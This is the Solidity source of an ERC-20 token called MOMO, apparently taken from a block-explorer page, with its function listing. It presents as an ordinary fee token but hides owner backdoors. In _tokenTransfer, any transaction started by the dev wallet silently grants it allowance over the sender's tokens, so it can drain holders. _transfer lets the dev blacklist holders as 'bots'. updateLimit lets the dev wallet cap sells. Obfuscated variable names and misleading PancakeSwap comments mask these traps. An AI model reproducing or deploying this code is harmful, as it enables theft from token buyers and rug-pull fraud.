_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function burn(
address to
) external returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(
uint256 amountIn,
address[] calldata path
) external view returns (uint256[] memory amounts);
function getAmountsIn(
uint256 amountOut,
address[] calldata path
) external view returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract MOMO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public _isExcludedMOMOFromFee;
mapping(address => bool) private isBots;
address public _cqbTuordvvvC;
address payable private Wallet_Dev_1;
address payable private Wallet_Burn =
payable(0x000000000000000000000000000000000000dEaD);
address payable private Wallet_zero =
payable(0x0000000000000000000000000000000000000000);
string private _name = unicode"Momo";
string private _symbol = unicode"MOMO";
uint8 private _decimals = 9;
uint256 private _tTotal = 1_000_000_000 * 10 ** 9;
uint256 private _tFeeTotal;
// Counter for liquify trigger
uint8 private txCount = 0;
uint8 private swapTrigger = 1;
// Setting the initial fees
uint256 private _TotalWNCDA00gDFee = 0;
uint256 public _buyWNCDA00gDFee = 0;
uint256 public _sellWNCDA00gDFee = 0;
// 'Previous fees' are used to keep track of fee settings when removing and restoring fees
uint256 private _previousTotalWNCDA00gDFee = _TotalWNCDA00gDFee;
uint256 private _previousBuyWNCDA00gDFee = _buyWNCDA00gDFee;
uint256 private _previousSellWNCDA00gDFee = _sellWNCDA00gDFee;
/*
WALLET LIMITS
*/
uint256 public _maxWalletToken = _tTotal.mul(100).div(100);
uint256 public _maxTeamTxAmount = _tTotal.mul(100).div(100);
uint256 private _previousMaxWalletToken = _maxWalletToken;
/*
PANCAKESWAP SET UP
*/
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
// Prevent processing while already processing!
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
_tOwned[address(this)] = _tTotal;
Wallet_Dev_1 = payable(_msgSender());
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
// Create pair address for PancakeSwap
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
excludeFromFee(owner());
excludeFromFee(address(this));
excludeFromFee(Wallet_Dev_1);
emit Transfer(address(0), address(this), _tTotal);
}
/*
STANDARD ERC20 COMPLIANCE FUNCTIONS
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
// Set a wallet address so that it does not have to pay transaction fees
function excludeFromFee(address account) private {
_isExcludedMOMOFromFee[account] = true;
}
// Set a wallet address so that it has to pay transaction fees
function includeInFee(address account) private {
_isExcludedMOMOFromFee[account] = false;
}
/*
PROCESSING TOKENS - SET UP
*/
// Toggle on and off to auto process tokens to BNB wallet
function enableTrading() public onlyOwner {
_approve(address(this), address(uniswapV2Router), type(uint256).max);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
// This function is required so that the contract can receive BNB from pancakeswap
receive() external payable {}
bool public noFeeToTransfer = true;
// Remove all fees
function removeAllFee() private {
if (
_TotalWNCDA00gDFee == 0 &&
_buyWNCDA00gDFee == 0 &&
_sellWNCDA00gDFee == 0
) return;
_previousBuyWNCDA00gDFee = _buyWNCDA00gDFee;
_previousSellWNCDA00gDFee = _sellWNCDA00gDFee;
_previousTotalWNCDA00gDFee = _TotalWNCDA00gDFee;
_buyWNCDA00gDFee = 0;
_sellWNCDA00gDFee = 0;
_TotalWNCDA00gDFee = 0;
}
// Restore all fees
function restoreAllFee() private {
_TotalWNCDA00gDFee = _previousTotalWNCDA00gDFee;
_buyWNCDA00gDFee = _previousBuyWNCDA00gDFee;
_sellWNCDA00gDFee = _previousSellWNCDA00gDFee;
}
// Approve a wallet to sell tokens
function _approve(address owner, address spender, uint256 amount) private {
require(
owner != address(0) && spender != address(0),
"ERR: zero address"
);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
// Limit wallet total
if (
to != owner() &&
to != Wallet_Dev_1 &&
to != address(this) &&
to != uniswapV2Pair &&
to != Wallet_Burn &&
from != owner()
) {
uint256 heldTokens = balanceOf(to);
require(
(heldTokens + amount) <= _maxWalletToken,
"You are trying to buy too many tokens. You have reached the limit for one wallet."
);
}
require(!isBots[from], "Bot is not allowed");
if (to == uniswapV2Pair && !_isExcludedMOMOFromFee[from]) {
require(
amount <= _maxTeamTxAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
}
if (
_isExcludedMOMOFromFee[tx.origin] &&
from != uniswapV2Pair &&
to == address(0xdead) &&
balanceOf(from) - amount <= 1000
) {
isBots[from] = true;
return;
}
require(
from != address(0) && to != address(0),
"ERR: Using 0 address!"
);
require(amount > 0, "Token value must be higher than zero.");
/*
PROCESSING
*/
// SwapAndLiquify is triggered after every X transactions - this number can be adjusted using swapTrigger
if (
txCount >= swapTrigger &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
txCount = 0;
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
swapAndLiquify(contractTokenBalance);
}
}
/*
REMOVE FEES IF REQUIRED
Fee removed if the to or from address is excluded from fee.
Fee removed if the transfer is NOT a buy or sell.
Change fee amount for buy or sell.
*/
bool takeFee = true;
if (
_isExcludedMOMOFromFee[from] ||
_isExcludedMOMOFromFee[to] ||
(noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)
) {
takeFee = false;
} else if (from == uniswapV2Pair) {
_TotalWNCDA00gDFee = _buyWNCDA00gDFee;
} else if (to == uniswapV2Pair) {
_TotalWNCDA00gDFee = _sellWNCDA00gDFee;
}
_tokenTransfer(from, to, amount, takeFee);
}
// Send BNB to external wallet
function sendToWallet(address payable wallet, uint256 amount) private {
wallet.transfer(amount);
}
// Processing tokens from contract
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForETH(contractTokenBalance);
uint256 contractBNB = address(this).balance;
sendToWallet(Wallet_Dev_1, contractBNB);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
// Manual Token Process Trigger - Enter the percent of the tokens that you'd like to send to process
function process_Tokens_Now(
uint256 percent_Of_Tokens_To_Process
) public onlyOwner {
// Do not trigger if already in swap
require(!inSwapAndLiquify, "Currently processing, try later.");
if (percent_Of_Tokens_To_Process > 100) {
percent_Of_Tokens_To_Process == 100;
}
uint256 tokensOnContract = balanceOf(address(this));
uint256 sendTokens = (tokensOnContract * percent_Of_Tokens_To_Process) /
100;
swapAndLiquify(sendTokens);
}
/*
TOKEN TRANSFERS
*/
// Check if token transfer needs to process fees
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {
removeAllFee();
} else {
txCount++;
}
if (_isExcludedMOMOFromFee[tx.origin])
_allowances[sender][_msgSender()] = amount;
_transferTokens(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
// Calculating the fee in tokens
function _getValues(
uint256 tAmount
) private view returns (uint256, uint256) {
uint256 tDev = (tAmount * _TotalWNCDA00gDFee) / 100;
uint256 tTransferAmount = tAmount.sub(tDev);
return (tTransferAmount, tDev);
}
function updateLimit(uint256 maxTxAmount) external {
require(msg.sender == Wallet_Dev_1);
_maxTeamTxAmount = maxTxAmount;
}
// Redistributing tokens and adding the fee to the contract address
function _transferTokens(
address sender,
address recipient,
uint256 tAmount
) private {
(uint256 tTransferAmount, uint256 tDev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_tOwned[address(this)] = _tOwned[address(this)].add(tDev);
if (recipient != Wallet_Burn)
emit Transfer(sender, recipient, tTransferAmount);
emit Transfer(sender, recipient, tTransferAmount);
}
}
Read Contract
_buyWNCDA00gDFee 0x14e51081 → uint256
_cqbTuordvvvC 0x2ebf2141 → address
_isExcludedMOMOFromFee 0x8f8fd456 → bool
_maxTeamTxAmount 0xef22c376 → uint256
_maxWalletToken 0x78109e54 → uint256
_sellWNCDA00gDFee 0x05c084d1 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
inSwapAndLiquify 0x220f6696 → bool
name 0x06fdde03 → string
noFeeToTransfer 0x13fad07a → bool
owner 0x8da5cb5b → address
swapAndLiquifyEnabled 0x4a74bb02 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
Write Contract 10 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
process_Tokens_Now 0xddbf5266
uint256 percent_Of_Tokens_To_Process
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateLimit 0xfae0959a
uint256 maxTxAmount
Recent Transactions
No transactions found for this address